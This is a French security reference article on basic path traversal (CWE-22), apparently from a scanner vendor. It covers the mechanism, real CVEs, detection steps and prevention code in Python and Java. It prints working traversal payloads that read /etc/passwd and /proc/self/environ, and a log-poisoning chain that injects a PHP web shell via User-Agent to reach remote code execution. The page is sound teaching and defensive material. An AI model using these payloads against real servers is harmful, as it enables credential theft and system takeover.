Path Traversal de base

Qu'est-ce que le path traversal de base#

Le path traversal de base exploite l'entrée de répertoire .. du système de fichiers, qui fait référence au parent du répertoire courant. Quand une application construit un chemin de fichier en concaténant un répertoire de base fixe avec une entrée fournie par l'utilisateur — sans normaliser le résultat — un attaquant peut insérer des séquences ../ répétées pour monter au-dessus de la base prévue et atteindre n'importe quel fichier accessible sur le serveur.

Sous CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) et OWASP A01:2021, c'est la forme fondamentale de la classe de vulnérabilité. Elle ne nécessite aucun encodage, aucun caractère spécial au-delà de ., / et les alphanumériques, et aucune authentification. L'attaque fonctionne parce que la résolution du système de fichiers POSIX gère .. silencieusement : /var/www/uploads/../../etc/passwd se résout exactement en /etc/passwd.

La vulnérabilité est la plus courante dans les endpoints de téléchargement de fichiers, les visualiseurs de documents, les chargeurs de templates, les visualiseurs de logs et toute fonctionnalité qui accepte un nom de fichier ou un chemin comme paramètre de requête. Les noms de paramètres Tier-1 — file, path, page, template, include, resource, document, lang, theme — portent une association historique avec l'accès direct au système de fichiers, mais tout paramètre dont la valeur ressemble à un chemin est candidat.

Mécanisme#

Le serveur construit un chemin complet du système de fichiers en joignant un répertoire de base codé en dur avec la valeur fournie par l'utilisateur. Sans résolution canonique avant l'appel au système de fichiers, les segments .. s'échappent de la base.

GET /download?file=../../../../etc/passwd HTTP/1.1
Host: vulnerable.example.com
 
HTTP/1.1 200 OK
Content-Type: application/octet-stream
 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

GET /api/files?name=../../../proc/self/environ HTTP/1.1
Host: vulnerable.example.com
 
HTTP/1.1 200 OK
 
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
HOME=/app
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=wJalrXUt...
DATABASE_URL=postgresql://admin:password@db:5432/prod

La profondeur de traversée requise dépend de la profondeur d'imbrication du répertoire de base. Utiliser 7 répétitions ../ assure le succès quelle que soit le niveau d'imbrication, car les séquences .. supplémentaires à la racine du système de fichiers sont silencieusement ignorées par la résolution POSIX.

Variantes d'attaque#

Cibles Linux à haute valeur#

Les fichiers suivants représentent les cibles de lecture à plus fort impact sur les serveurs Linux. Chacun inclut son marqueur de confirmation — le motif qui confirme une traversée réussie dans le corps de la réponse.

LFI vers RCE : chaîne d'empoisonnement de logs#

L'empoisonnement de logs convertit une lecture de fichier de base en exécution de code à distance en trois étapes, ne nécessitant que la capacité du processus du serveur web à lire son propre log d'accès.

Étape 1 — Empoisonner le log en injectant du code PHP dans un en-tête qu'Apache ou Nginx enregistre verbatim :

GET / HTTP/1.1
Host: target.com
User-Agent: <?php system($_GET['cmd']); ?>

Apache écrit cette ligne dans /var/log/apache2/access.log :

192.168.1.1 - - [09/May/2026:10:15:00 +0000] "GET / HTTP/1.1" 200 612 "-" "<?php system($_GET['cmd']); ?>"

Étape 2 — Inclure le log via le paramètre de path traversal :

GET /download?file=../../../var/log/apache2/access.log&cmd=id HTTP/1.1
Host: target.com
 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Autres fichiers de logs quand le log d'accès Apache n'est pas lisible : /var/log/nginx/access.log, /var/log/auth.log (empoisonnable via une connexion SSH avec du code PHP comme nom d'utilisateur), et /proc/self/fd/2 (stderr du processus, toujours lisible par le processus lui-même).

Exemples réels#

CVE-2024-23897 — Jenkins CLI Arbitrary File Read (CVSS 9.8, CISA KEV) : l'analyseur d'arguments CLI args4j de Jenkins activait une fonctionnalité appelée expandAtFiles() qui remplaçait les tokens @/path/to/file dans les arguments CLI par le contenu du fichier. Un attaquant non authentifié envoyait des commandes CLI via HTTP, WebSocket ou SSH contenant des arguments comme @/var/jenkins_home/secrets/master.key ou @/etc/passwd. Le serveur Jenkins lisait et retournait le contenu du fichier comme partie de la sortie d'erreur CLI. Aucune authentification n'était requise. Le groupe de ransomware RansomEXX a exploité cette vulnérabilité pour voler des credentials d'un fournisseur de la National Payments Corporation of India, causant des perturbations de service dans plus de 300 banques. CISA l'a ajouté au catalogue Known Exploited Vulnerabilities avec une date limite de correction obligatoire au 9 septembre 2024. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

CVE-2023-2825 — GitLab Path Traversal non authentifié (CVSS 10.0) : lecture de fichier arbitraire via path traversal dans GitLab Community Edition et Enterprise Edition via la gestion des URLs de projets imbriqués publics. Aucune authentification requise. Démonstration de lecture de /etc/passwd, tokens d'enregistrement de runner GitLab, clés privées SSH et fichiers de configuration internes. Analysé par WatchTowr Labs et les équipes sécurité Fastly. Un rapport HackerOne connexe (#733072) documentait une variante dans l'API Package Registry de GitLab qui permettait d'écrire des fichiers à des emplacements arbitraires, chaînant vers du RCE.

CVE-2024-23334 — aiohttp Static File Serving (CVSS 7.5) : la fonctionnalité de service de fichiers statiques de la bibliothèque Python aiohttp ne normalisait pas les séquences de path traversal dans les URIs de requête. Les applications utilisant StaticResource pour servir des fichiers depuis un répertoire étaient vulnérables à une lecture de fichier arbitraire. Exploitée par des opérateurs de ransomware qui scannaient des déploiements aiohttp via Shodan dans les jours suivant la divulgation.

Détection#

Tests manuels#

1. Mapper tous les paramètres de l'application — tant dans la chaîne de requête que dans le corps de formulaire — qui référencent des fichiers par nom. Se concentrer sur : file, filename, path, page, template, include, resource, doc, lang, layout, theme, download, attachment.
2. Pour chaque paramètre candidat, soumettre ../../../../etc/passwd et mesurer la taille de la réponse. Une réponse substantiellement plus grande qu'une page d'erreur typique mérite investigation.
3. Rechercher dans le corps de la réponse les marqueurs de confirmation /etc/passwd : root:x:0:0:, /bin/bash, nologin.
4. Si l'application semble être basée sur Java (Tomcat, Spring), tester ../WEB-INF/web.xml — le marqueur de confirmation est <web-app.
5. Pour toute application fonctionnant sur AWS, GCP ou Azure, inclure /proc/self/environ dans l'ensemble des cibles — la confirmation est l'un des éléments AWS_ACCESS_KEY_ID=, GOOGLE_APPLICATION_CREDENTIALS=, AZURE_CLIENT_SECRET=.
6. Vérifier que le finding n'est pas un faux positif en confirmant que le marqueur apparaît dans le corps de la réponse, pas seulement en constatant que la taille de la réponse diffère.

Détection automatisée#

BreachVex détecte le path traversal de base via plusieurs techniques complémentaires : analyse par templates tagués lfi et traversal, fuzzing de paramètres sur une liste hiérarchisée de noms de paramètres sujets aux LFI, vérification HTTP directe utilisant 22 variantes de payload contre des regexes de confirmation spécifiques aux fichiers, et un prouveur LFI étendu avec une porte de contenu à trois critères. BreachVex escalade la sévérité à CRITICAL quand /etc/shadow ou ~/.ssh/id_rsa est confirmé, et marque les findings comme RCE-capables quand l'accès au wrapper php://filter est confirmé.

Prévention#

Résolution canonique du chemin (défense primaire)#

import os
 
BASE_DIR = os.path.realpath("/var/www/app/uploads")
 
def safe_download(filename: str) -> bytes:
    # os.path.realpath résout tous les .., symlinks et l'encodage avant validation
    requested = os.path.realpath(os.path.join(BASE_DIR, filename))
    # Le os.sep final empêche /uploads_backup de passer la vérification /uploads
    if not requested.startswith(BASE_DIR + os.sep):
        raise PermissionError(f"Accès refusé : {filename!r}")
    with open(requested, "rb") as f:
        return f.read()

// Java — getCanonicalFile résout tous les .. et symlinks
import java.io.*;
import java.nio.file.*;
 
public byte[] safeDownload(String filename) throws IOException {
    File base = new File("/app/uploads").getCanonicalFile();
    File requested = new File(base, filename).getCanonicalFile();
    // toPath().startsWith() est sûr pour les préfixes contrairement à String.startsWith
    if (!requested.toPath().startsWith(base.toPath())) {
        throw new SecurityException("Tentative de path traversal : " + filename);
    }
    return Files.readAllBytes(requested.toPath());
}

Liste blanche d'extensions de fichiers#

Restreindre l'ensemble des extensions de fichiers lisibles à celles dont la fonctionnalité a légitimement besoin. Cela limite la surface d'attaque même si la validation du chemin échoue :

ALLOWED_EXTENSIONS = {".pdf", ".png", ".jpg", ".jpeg", ".csv", ".xlsx"}
 
def validate_extension(filename: str) -> None:
    ext = os.path.splitext(filename)[1].lower()
    if ext not in ALLOWED_EXTENSIONS:
        raise ValueError(f"Type de fichier non autorisé : {ext!r}")

Éliminer les noms de fichiers contrôlés par l'utilisateur#

# Mapper des identifiants opaques vers de vrais chemins — l'utilisateur ne contrôle jamais directement le chemin
ALLOWED_FILES = {
    "invoice_2025_q1": "/app/invoices/2025_q1.pdf",
    "report_annual": "/app/reports/annual_2025.pdf",
}
 
def get_file(key: str) -> bytes:
    path = ALLOWED_FILES.get(key)
    if path is None:
        raise ValueError("Identifiant de fichier inconnu")
    with open(path, "rb") as f:
        return f.read()

Ressources#

• Path Traversal — Vue d'ensemble pillar
• PortSwigger : File Path Traversal Labs
• OWASP Path Traversal Attack
• NVD CVE-2024-23897